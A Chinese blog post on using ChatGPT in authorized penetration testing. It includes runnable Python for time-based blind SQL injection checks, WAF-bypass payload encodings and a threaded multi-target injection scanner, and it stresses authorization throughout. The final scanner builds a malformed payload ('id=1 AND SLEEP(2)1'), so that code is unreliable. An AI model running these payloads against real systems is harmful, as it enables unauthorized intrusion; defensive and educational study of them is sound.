AI 赋能渗透测试：如何利用 ChatGPT 自动化编写 PoC 与漏洞挖掘？

yiyiyi0322

327人浏览 · 2026-09-02 19:21:29

yiyiyi0322 · 2026-09-02 19:21:29 发布

1. 引言

随着大语言模型能力的快速提升，AI 正在渗透测试领域扮演越来越重要的角色。过去，编写 PoC（Proof of Concept，概念验证）和挖掘漏洞往往依赖安全研究员对协议、框架和底层原理的深入理解，整个过程耗时且门槛较高。如今，借助 ChatGPT 等大模型，安全人员可以把大量重复性、模式化的分析工作交给 AI，从而把精力集中在漏洞验证、利用链构造和风险研判等更核心的环节。

本文将从实际工作流出发，介绍如何利用 ChatGPT 辅助自动化编写 PoC 与漏洞挖掘，并给出可运行的代码示例。需要强调的是，AI 是提效工具而非替代品，所有生成内容都必须经过人工复核，并严格遵守授权测试边界。

2. 适用场景与边界

在开始之前，先明确 ChatGPT 在渗透测试中真正擅长的场景，以及必须由人来把关的边界。

2.1 适合交给 AI 的任务

协议与框架分析：快速梳理 HTTP 头、JWT、OAuth、序列化协议等常见机制。
代码审计辅助：对源码片段进行初步的漏洞模式匹配，如 SQL 注入、命令注入、反序列化等。
PoC 骨架生成：根据漏洞描述生成可运行的验证脚本框架。
Payload 变体生成：针对 WAF 绕过、编码混淆等场景生成多种测试样本。
报告整理：把测试过程整理成结构化的漏洞描述与修复建议。

2.2 必须人工把关的边界

授权确认：任何测试都必须在获得书面授权的目标范围内进行。
漏洞真实性：AI 生成的 PoC 可能存在误报，必须人工验证。
利用链构造：涉及真实利用、提权或横向移动的环节，不能完全依赖 AI。
敏感数据处理：不要把真实业务数据、凭据或未公开漏洞细节直接粘贴给外部 AI 服务。

3. 用 ChatGPT 辅助编写 PoC 的工作流

一个高效的 AI 辅助 PoC 编写流程，通常遵循「描述漏洞 → 生成骨架 → 人工修正 → 本地验证 → 迭代优化」的闭环。下面用一个典型场景说明。

3.1 场景描述

假设在授权测试中发现某 Web 应用存在一个疑似 SQL 注入点，请求形如：

GET /api/user?id=1 HTTP/1.1
Host: target.example.com

手工验证发现参数 id 存在数字型注入，但需要编写一个可复现的 PoC 脚本，用于批量验证多个目标或回归测试。

3.2 向 ChatGPT 描述需求

与其让 AI 凭空生成，不如给出足够清晰的上下文。一个有效的提示词模板如下：

请帮我用 Python 编写一个 SQL 注入 PoC 脚本。目标接口为 GET /api/user?id=1，参数 id 疑似存在数字型注入。脚本需要支持：1）从命令行接收目标 URL；2）使用基于时间的盲注判断注入点是否存在；3）输出结果并支持 --verbose 参数打印详细请求与响应；4）使用 requests 库，代码风格简洁，包含异常处理。

3.3 生成结果与人工修正

ChatGPT 通常会给出类似下面的脚本骨架：

import argparse
import time
import requests

def check_time_based_injection(url, timeout=5):
    """基于时间盲注判断注入点是否存在"""
    payload = "1 AND SLEEP(3)"
    start = time.time()
    try:
        resp = requests.get(url, params={"id": payload}, timeout=timeout + 5)
        elapsed = time.time() - start
        return elapsed >= 3, elapsed
    except requests.RequestException as e:
        print(f"[!] 请求异常: {e}")
        return False, 0

def main():
    parser = argparse.ArgumentParser(description="SQL 注入时间盲注 PoC")
    parser.add_argument("url", help="目标 URL，例如 http://target.example.com/api/user")
    parser.add_argument("--verbose", action="store_true", help="打印详细请求与响应")
    args = parser.parse_args()

    vulnerable, elapsed = check_time_based_injection(args.url)
    if vulnerable:
        print(f"[+] 存在时间盲注，响应耗时 {elapsed:.2f}s")
    else:
        print(f"[-] 未检测到注入，响应耗时 {elapsed:.2f}s")

if __name__ == "__main__":
    main()

拿到骨架后，人工复核的重点包括：

参数拼接方式：确认 payload 是否真的作用于目标参数，而不是被框架过滤。
超时与重试逻辑：网络抖动可能导致误判，需要增加多次请求取平均值的逻辑。
输出可读性：补充响应状态码、响应体片段等关键信息，便于排查。

4. 让 ChatGPT 辅助漏洞挖掘的进阶用法

除了编写单个 PoC，ChatGPT 还能在漏洞挖掘的多个环节提供帮助。下面介绍几种经过实践检验的用法。

4.1 从源码中快速定位可疑模式

在代码审计场景中，可以把一段源码交给 ChatGPT，要求它标注潜在风险点。例如：

String sql = "SELECT * FROM users WHERE id = " + request.getParameter("id");
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);

ChatGPT 能很快指出这里存在 SQL 注入风险，并给出参数化查询的修复建议。但要注意，AI 的静态分析能力有限，对于跨文件的数据流、二次注入等复杂场景，仍需结合人工审计工具。

4.2 生成 Payload 变体用于 WAF 绕过测试

当目标存在 WAF 时，单一 payload 往往会被拦截。可以让 ChatGPT 基于原始 payload 生成编码变体：

import urllib.parse

def generate_variants(base_payload):
    """生成多种编码变体用于 WAF 绕过测试"""
    variants = []
    # URL 编码
    variants.append(urllib.parse.quote(base_payload))
    # 双重 URL 编码
    variants.append(urllib.parse.quote(urllib.parse.quote(base_payload)))
    # 大小写混合（针对关键字过滤）
    variants.append(base_payload.replace("SELECT", "SeLeCt").replace("AND", "AnD"))
    # 注释符分割
    variants.append(base_payload.replace(" ", "/**/"))
    return variants

if __name__ == "__main__":
    payload = "1 AND SLEEP(3)"
    for i, v in enumerate(generate_variants(payload)):
        print(f"[{i}] {v}")

这类变体生成非常适合交给 AI，因为它本质上是模式化、可枚举的转换，人工逐个编写效率很低。

4.3 辅助理解陌生协议与格式

遇到不熟悉的协议或序列化格式时，ChatGPT 可以充当快速查阅的助手。例如分析 JWT 结构、理解 FastJSON 的利用链、梳理 OAuth 2.0 的授权码流程等。把协议片段或报错信息粘贴给 AI，往往能快速获得方向性指引，再结合官方文档深入验证。

5. 一个完整的自动化挖掘示例

下面给出一个更完整的示例，演示如何把「目标枚举 → 注入检测 → 结果输出」串成一个半自动化的挖掘脚本。该脚本仅用于授权环境下的教学演示。

import argparse
import time
import requests
from concurrent.futures import ThreadPoolExecutor

TARGETS = [
    "http://target.example.com/api/user?id=1",
    "http://target.example.com/api/order?id=2",
    "http://target.example.com/api/product?id=3",
]

def test_injection(url, timeout=5):
    """对单个 URL 执行时间盲注检测"""
    payload = "1 AND SLEEP(2)"
    results = []
    for _ in range(3):  # 多次请求取平均，降低网络抖动误判
        start = time.time()
        try:
            resp = requests.get(url.replace("id=", "id=" + payload), timeout=timeout + 3)
            elapsed = time.time() - start
            results.append(elapsed)
        except requests.RequestException:
            results.append(0)
    avg = sum(results) / len(results)
    return url, avg >= 2, avg

def main():
    parser = argparse.ArgumentParser(description="半自动 SQL 注入挖掘示例")
    parser.add_argument("--threads", type=int, default=3, help="并发线程数")
    args = parser.parse_args()

    print("[*] 开始检测...")
    with ThreadPoolExecutor(max_workers=args.threads) as executor:
        futures = [executor.submit(test_injection, url) for url in TARGETS]
        for future in futures:
            url, vulnerable, avg = future.result()
            status = "[+] 疑似注入" if vulnerable else "[-] 未发现"
            print(f"{status} | {url} | 平均耗时 {avg:.2f}s")

if __name__ == "__main__":
    main()

这个脚本把多个候选接口的检测过程自动化，输出结果便于人工进一步验证。实际工作中，目标列表通常来自资产测绘或流量分析，可以动态传入。